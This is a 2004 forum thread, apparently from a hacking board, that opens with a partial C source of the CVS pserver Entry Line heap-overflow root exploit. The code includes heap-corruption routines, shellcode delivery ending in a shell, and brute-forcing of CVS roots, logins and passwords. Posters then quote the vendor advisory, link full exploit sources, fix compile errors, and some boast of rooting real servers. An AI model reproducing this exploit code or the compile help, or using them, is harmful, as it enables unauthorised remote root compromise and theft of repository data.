CVS_ISMOD"%s\n", DUMMY2); sprintf(num, "%d", i); memcpy(buf + CVS_ISMODSZ, num, strlen(num)); for (j = 0; j != OVERFLOW_NUM; j++) nprintf(buf); } return; } void memcpy_remote(ulong range, ulong addr, uchar * buf, int sz) { int i; if (sz <= 0) return; if (!cur_num) nprintf(build_chunk(DUMMY_ADDR, DUMMY_ADDR, cur_num++)); for (i = sz - 1, addr += (sz - 1); i >= 0; i--, addr--) { range &= 0xFFFFFF00; range += buf[i]; if (!bad_addr(SET_FD(addr)) && !bad_addr(range)) nprintf(build_chunk(addr, UNSET_BK(range), cur_num++)); } return; } void memcpy_addr(ulong eipaddr, ulong shelladdr, int sz) { int aff = (sz / 4) / PCNT, j; if (!cur_num) nprintf(build_chunk(DUMMY_ADDR, DUMMY_ADDR, cur_num++)); putchar('['); for (j = 0; j != PCNT; j++) putchar(' '); putchar(']'); for (j = 0; j != PCNT + 1; j++) putchar('\b'); fflush(stdout); for (j = 0; sz >= 0 && eipaddr <= HIGH_STACK; sz -= 4, eipaddr += 4, j++) { if (j == aff) { putchar('#'); fflush(stdout); j = 0; } if (!bad_addr(SET_FD(eipaddr)) && !bad_addr(shelladdr)) nprintf(build_chunk(eipaddr, UNSET_BK(shelladdr), cur_num++)); } printf("#\t"); fflush(stdout); return; } int range_crashed(int addr, int addr2) { char * buf; cvs_conn(); nprintf(build_chunk(DUMMY_ADDR, DUMMY_ADDR, cur_num++)); for (; addr < addr2; addr += 8) if (!bad_addr(SET_FD(addr)) && !bad_addr(SET_BK(addr + 4))) nprintf(build_chunk(addr, addr + 4, cur_num++)); memcpy_flush(); nprintf(CVS_FLUSH); buf = flush_sock(); if (strstr(buf, CVS_OK) || strstr(buf, CVS_UNKNOW) || strstr(buf, CVS_ERROR) || strstr(buf, CVS_ERROR2)) { nclose(); return (0); } #ifdef SHITTEST sleep(333); #endif nclose(); return (1); } void zflush(int finish) { static char outbuf[65536]; zout.next_in = zbuf; zout.avail_in = zbufpos; do { zout.next_out = outbuf; zout.avail_out = sizeof(outbuf); if (deflate(&zout, finish ? Z_FINISH : Z_PARTIAL_FLUSH) == -1) QUIT("zflush : deflate failed !\n"); zsent += sizeof(outbuf) - zout.avail_out; write_sock(outbuf, sizeof(outbuf) - zout.avail_out); } while (zout.avail_out == 0 && zout.avail_in != 0); zbufpos = 0; return; } int zprintf(char *fmt, ...) { static char buf[65536]; int len; va_list ap; va_start(ap, fmt); len = vsnprintf(buf, sizeof(buf) - 1, fmt, ap); usent += len; if ((sizeof(zbuf) - zbufpos) < (len)) zflush(0); memcpy(zbuf + zbufpos, buf, len); zbufpos += len; if (zbufpos >= sizeof(zbuf)) QUIT(ERR_ZPRINTF); return (len); } int zgetch(void) { static char * outbuf = NULL; static int outpos = 0, outlen = 0; static char rcvbuf[32768]; static char dbuf[4096]; int got; retry: if (outpos < outlen && outlen) return outbuf[outpos++]; free(outbuf); outlen = 0; outbuf = NULL; got = read_sock(rcvbuf, sizeof(rcvbuf)); if (got <= 0) QUIT(ERR_READSOCK); zin.next_in = rcvbuf; zin.avail_in = got; while (1) { int status, dlen; zin.next_out = dbuf; zin.avail_out = sizeof(dbuf); status = inflate(&zin, Z_PARTIAL_FLUSH); switch (status) { case Z_OK: outpos = 0; dlen = sizeof(dbuf) - zin.avail_out; outlen += dlen; outbuf = realloc(outbuf, outlen); memcpy(outbuf + outlen - dlen, dbuf, dlen); break; case Z_BUF_ERROR: goto retry; default: QUIT(ERR_INFLATE); } } } char * zgets(void) { static char buf[32768]; char * p = buf; int c; while (1) { c = zgetch(); if (c == '\n') break; *p++ = c; if (p > buf + sizeof(buf)) { p--; break; } } *p = 0; return (buf); } void start_gzip(void) { nprintf(CVS_GZIP"1\n"); deflateInit(&zout, 9); inflateInit(&zin); return; } void fill_holes(void) { int i, j; for (i = 0; i < 10; i++) nprintf(CVSENTRY"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n"); for (i = 0; i < 10; i++) nprintf(CVSENTRY"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n"); for (i = 0; i < NHOLES; i++) { nprintf(CVSENTRY"ac1db1tch3z/blackhat4life/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n"); for (j = 0; j < 5; j++) nprintf(CVSENTRY"%.*X\n", j * 8 - 2, 11); } nprintf("Set x=%472X\n", 10); return; } void evil_entry(void) { int i; ulong heap = heapbase; nprintf("Set x=\n"); nprintf(CVSENTRY"/AB/AA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c\n", heap & 0xff, (heap >> 8) & 0xff, (heap >> 16) & 0xff, (heap >> 24), heap & 0xff, (heap >> 8) & 0xff, (heap >> 16) & 0xff, (heap >> 24), heap & 0xff, (heap >> 8) & 0xff, (heap >> 16) & 0xff, (heap >> 24), heap & 0xff, (heap >> 8) & 0xff, (heap >> 16) & 0xff, (heap >> 24)); } void try_exploit(void) { time_t last, now; int i, j, len, o; static char sc[SCSIZE+1]; for (i = 0; i < OFFSET; i++) zprintf(CVS_ISMOD"AB\n"); printf("[", SCSIZE * scnum / 1024); for (i = 0; i < PCNT; i++) putchar(' '); printf("]"); for (i = 0; i < PCNT + 1; i++) printf("\b"); memset(sc, 'A', SCSIZE); memcpy(sc + SCSIZE - sizeof(xx_shellcode), xx_shellcode, sizeof(xx_shellcode)); sc[SCSIZE] = 0; last = o = 0; for (i = 0; i < scnum; i++) { now = time(NULL); if (now > last || (i + 1 == scnum)) { last = now; for (j = 0; j < o; j++) printf("\b"); for (j = 0; j < (o = ((i+1) * PCNT / scnum)); j++) printf("#"); } zprintf(CVSENTRY"%s\n", sc); } printf("] "); zflush(0); zflush(1); len = read_sock(sc, sizeof(sc)); for (i = 0; i < len; i++) if (!memcmp(sc + i, ABMAGIC, ABMAGICSZ)) { printf(EXPLOITROX); sh(sock); } printf(BAD_TRIP); } int brute_cvsroot(void) { int i, ret = 0; char * rbuf; info("Bruteforcing cvsroot...\n"); for (i = 0; CVSROOTS[i].name; i++) { nopen(host, port); nprintf(CVS_VERIF, CVSROOTS[i].name, DUMMY, scramble(DUMMY)); info("Trying CVSROOT = %s\t", CVSROOTS[i].name); rbuf = flush_sock(); nclose(); if (!rbuf || strstr(rbuf, CVS_BAD_REP)) info(BAD_TRIP); else if (strstr(rbuf, CVS_AUTH_FAILED) || strstr(rbuf, CVS_AUTH_SUCCESS) || strstr(rbuf, CVS_NO_USER)) { info(GOOD_TRIP); CVSROOTS[i].id = i; root = CVSROOTS[i].name; if (user && pass) { free(rbuf); return (1); } ret++; } else printf(BAD_TRIP); free(rbuf); } return (ret); } int brute_username(void) { int i, c, ret = 0; char * rbuf; info("Bruteforcing cvs login... \n"); for (c = 0; CVSROOTS[c].name; c++) { if (!root && CVSROOTS[c].id == -1) continue; for ( i=0; USERNAMES[i].name; i++ ) { if (root) CVSROOTS[c].name = root; info("Trying cvsroot = %s, login = %s\t", CVSROOTS[c].name, USERNAMES[i].name); nopen(host, port); nprintf(CVS_VERIF, CVSROOTS[c].name, USERNAMES[i].name, scramble(DUMMY)); rbuf = flush_sock(); nclose(); if ( strstr( rbuf, CVS_NO_USER)) info( BAD_TRIP, rbuf ); else if (strstr( rbuf, CVS_AUTH_FAILED) || strstr(rbuf, CVS_AUTH_SUCCESS)) { info(GOOD_TRIP); USERNAMES[i].id = CVSROOTS[c].id; user = USERNAMES[i].name; if (pass) { free(rbuf); return (1); } ret++; } free(rbuf); } if (root) return (ret); } return (ret); } int brute_password(void) { int i, c, ret=0; char * rbuf; info("Bruteforcing cvs password...\n"); for (c = 0; USERNAMES[c].name; c++) { if (!user && USERNAMES[c].id == -1) continue; for (i = 0; PASSWORDS[i].name; i++) { info("Trying login = %s, pass = %s\t", user?user:USERNAMES[c].name, PASSWORDS[i].name); nopen(host, port); nprintf(CVS_VERIF,root?root:CVSROOTS[USERNAMES[c].id].name, user?user:USERNAMES[c].name, scramble(PASSWORDS[i].name) ); rbuf = flush_sock(); nclose(); if (strstr(rbuf, CVS_AUTH_FAILED)) info(BAD_TRIP, rbuf); else if (strstr(rbuf, CVS_AUTH_SUCCESS)) { info(GOOD_TRIP); if (!root) root = CVSROOTS[ USERNAMES[c].id ].name; if (!user) user = USERNAMES[c].name; pass = PASSWORDS[i].name; free(rbuf); printf(SUCCESS_LOGON, user, pass, root); return (1); } else info(BAD_TRIP); free(rbuf); } if (user) return (0); } return (0); } void hdl_crashed(int signum) { return; } int write_sock(void * buf, int sz) { fd_set wfds; struct timeval tv; int ret; if (sz <= 0) return (sz); FD_ZERO(&wfds); FD_SET(sock, &wfds); bzero(&tv, sizeof (tv)); tv.tv_sec = timeout; tv.tv_usec = 0; while (select(sock + 1, NULL, &wfds, NULL, &tv) <= 0) { FD_ZERO(&wfds); FD_SET(sock, &wfds); tv.tv_sec = timeout; tv.tv_usec = 0; } if ((ret = write(sock, buf, sz)) != sz) QUIT(ERR_WRITESOCK); return (ret); } int read_sock(void * buf, int sz) { fd_set rd; struct timeval tv; int ret; FD_ZERO(&rd); FD_SET(sock, &rd); bzero(&tv, sizeof (tv)); tv.tv_sec = timeout; tv.tv_usec = ret = 0; if (select(sock + 1, &rd, NULL, NULL, &tv) <= 0) QUIT(ERR_READSOCK); if ((ret = read(sock, buf, sz)) <= 0) return (ret); } char * flush_sock(void) { char * ret; int len, y, i = 0; fd_set rfds; struct timeval tv; FD_ZERO(&rfds); FD_SET(sock, &rfds); bzero(&tv, sizeof (tv)); tv.tv_sec = timeout; tv.tv_usec = 0; #define BUF_SIZE 42 ret = malloc((len = BUF_SIZE)); if (select(sock + 1, &rfds, NULL, NULL, &tv) < 0) return (""); while ((y = read(sock, ret + i, BUF_SIZE)) > 0) { i += y; ret = realloc(ret, (len += BUF_SIZE)); } if (i == len) realloc(ret, len + 1); ret[i] = 0; return (ret); } long getip(char * hostname) { struct hostent * p_hostent; long ipaddr; ipaddr = inet_addr( hostname ); &
Gurou
May 21 2004, 05:46 PM
2001 ????
brOmstar
May 21 2004, 05:57 PM
long time private i think the code is from packetstorm today
stonebreaker
May 21 2004, 06:04 PM
i cannt compile it neither linux nor cgywin
Gurou
May 21 2004, 06:14 PM
yes published today on k-otik
brOmstar
May 21 2004, 06:14 PM
here are some details
From: Stefan Esser <s.esser_@_e-matters.de>
Date: 19 мая 2004 г.
Subject: Advisory 07/2004: CVS remote vulnerability
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
e-matters GmbH
www.e-matters.de
-= Security Advisory =-
Advisory: CVS remote vulnerability
Release Date: 2004/05/19
Last Modified: 2004/05/19
Author: Stefan Esser [s.esser@e-matters.de]
Application: CVS feature release <= 1.12.7
CVS stable release <= 1.11.15
Severity: A vulnerability within CVS allows remote compromise of
CVS servers.
Risk: Critical
Vendor Status: Vendor is releasing a bugfixed version.
Reference:
http://security.e-matters.de/advisories/072004.html Overview:
Concurrent Versions System (CVS) is the dominant open-source version
control software that allows developers to access the latest code using
a network connection.
Stable CVS releases up to 1.11.15 and CVS feature releases up to 1.12.7
both contain a flaw when deciding if a CVS entry line should get a
modified or unchanged flag attached. This results in a heap overflow
which can be exploited to execute arbitrary code on the CVS server.
This could allow a repository compromise.
Details:
While auditing the CVS source a flaw within the handling of modified
and unchanged flag insertion into entry lines was discovered.
When the client sends an entry line to the server an additional byte
is allocated to have enough space for later flagging the entry as
modified or unchanged. In both cases the check if such a flag is
already attached is flawed. This allows to insert M or = chars into
the middle of a user supplied string one by one for every call to
one of these functions.
It should be obvious that already the second call could possibly
overflow the allocated buffer by shifting the part after the
insertion point one char backward. If the alignment of the block
is choosen wisely this is already exploitable by malloc() off-by-one
exploitation techniques. However carefully crafted commands allow
the functions to be called several times to overwrite even more
bytes (although this is not really needed if you want to exploit
this bug on f.e. glibc based systems).
Alien
May 21 2004, 06:42 PM
brOmstar can you attach this code at .txt or other ? the code is too long on post
CODE ipaddr = inet_addr( hostname ); &
and thats all thanks
Gurou
May 21 2004, 06:55 PM
CVS Remote Entry Line Heap Overflow Root Exploit (Solaris)
http://www.k-otik.com/exploits/05212004.CVS_Solaris.c.php CVS Remote Entry Line Heap Overflow Root Exploit (Linux/FreeBSD)
http://www.k-otik.com/exploits/05212004.CVS_Linux.c.php
brOmstar
May 21 2004, 07:09 PM
can someone tell me how to install the zlib on redhat because i get some errors during the compiling process...and i read that this should be the reason
Alien
May 21 2004, 07:17 PM
CODE $ gcc test.c -o cvslinux /tmp/cc72VSwT.o(.text+0x10a2): In function `zflush': : undefined reference to `deflate' /tmp/cc72VSwT.o(.text+0x1285): In function `zgetch': : undefined reference to `inflate' /tmp/cc72VSwT.o(.text+0x13cd): In function `start_gzip': : undefined reference to `deflateInit_' /tmp/cc72VSwT.o(.text+0x13e9): In function `start_gzip': : undefined reference to `inflateInit_' collect2: ld returned 1 exit status
on my debian box :[
F34R
May 21 2004, 08:10 PM
good stuff... thanks for the sploit
seppel18
May 21 2004, 08:30 PM
How to compile this on cygwin?
brOmstar
May 21 2004, 11:23 PM
k both version compiled ..had anyOne success with one of them?
jimmy
May 24 2004, 10:07 PM
which is the right command to compile it ? I tried it on redhat and on cygwin both gave me problems perhaps I need to link something anyone knows the right command ? I tried gcc -o cvs cvs.c btw zlib package is installed gcc cvs.c /tmp/ccI2tSlS.o(.text+0x1092): In function `zflush': : undefined reference to `deflate' /tmp/ccI2tSlS.o(.text+0x1273): In function `zgetch': : undefined reference to `inflate' /tmp/ccI2tSlS.o(.text+0x13af): In function `start_gzip': : undefined reference to `deflateInit_' /tmp/ccI2tSlS.o(.text+0x13c6): In function `start_gzip': : undefined reference to `inflateInit_' collect2: ld returned 1 exit status
incitatus
May 25 2004, 02:58 AM
try this: gcc cvs_linux_freebsd_HEAP.c -o cvs -lz
strasharo
May 25 2004, 03:11 PM
QUOTE (brOmstar @ May 21 2004, 11:23 PM) k both version compiled ..had anyOne success with one of them?
Yep, 20 hits with the Linux version, works like hell.
Killaloop
May 25 2004, 03:40 PM
I'm just glad that we run this chrooted so this exploit hasn't had any chance. shouldn't that be the recommended setting for such an installation chrooted over ssh and all is fine. 3 years private ... don't want to imagine what would have happened if someone would have stolen some of our project data ..
Stevy
May 25 2004, 07:22 PM
it works got 2 rootshells
jimmy
May 26 2004, 10:54 AM
you guys just tried exploit.exe -h target_ip ? I see what all other options are, but not quite sure if I need to use them or not
migo
May 26 2004, 01:16 PM
please guys any one post a compiled win32 version for linux much appreciated
Paul
May 27 2004, 06:57 PM
i got this in linux using gcc
QUOTE knoppix@ttyp2[exploits]$ gcc exploit.c -o exploit -lz exploit.c:941:3: warning: no newline at end of file exploit.c: In function `getip': exploit.c:941: error: parse error at end of input knoppix@ttyp2[exploits]$
DarkAngel52457
May 30 2004, 05:20 AM
Hello i have found many vuln server when i start the cvs exploit
./cvc -h *.*.*.* -p 2401 the exploit startet
Ac1dB1tCh3z ©VS linux/*BSD pserver
Bruteforcing cvsroot...
Trying CVSROOT = /cvs FOUND !
Trying CVSROOT = /cvsroot FOUND !
Trying CVSROOT = /var/cvs FOUND !
Trying CVSROOT = /anoncvs FOUND !
Trying CVSROOT = /repository FOUND !
Trying CVSROOT = /home/CVS FOUND !
Trying CVSROOT = /home/cvspublic FOUND !
Trying CVSROOT = /home/cvsroot FOUND !
Trying CVSROOT = /var/lib/cvs FOUND !
Trying CVSROOT = /var/cvsroot FOUND !
Trying CVSROOT = /usr/lib/cvs FOUND !
Trying CVSROOT = /usr/CVSroot FOUND !
Trying CVSROOT = /usr/share/cvsroot FOUND !
Trying CVSROOT = /usr/local/cvsroot FOUND !
Trying CVSROOT = /usr/local/cvs FOUND !
Trying CVSROOT = /webcvs FOUND !
Bruteforcing cvs login...
Trying cvsroot = /webcvs, login = anonymous FOUND !
Exploiting *.*.*.* on a Linux Fatal: authentification failure..
and then close the conection and i become nothing shells i have tested on many server.
what is this for a prob can help me
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please
click here .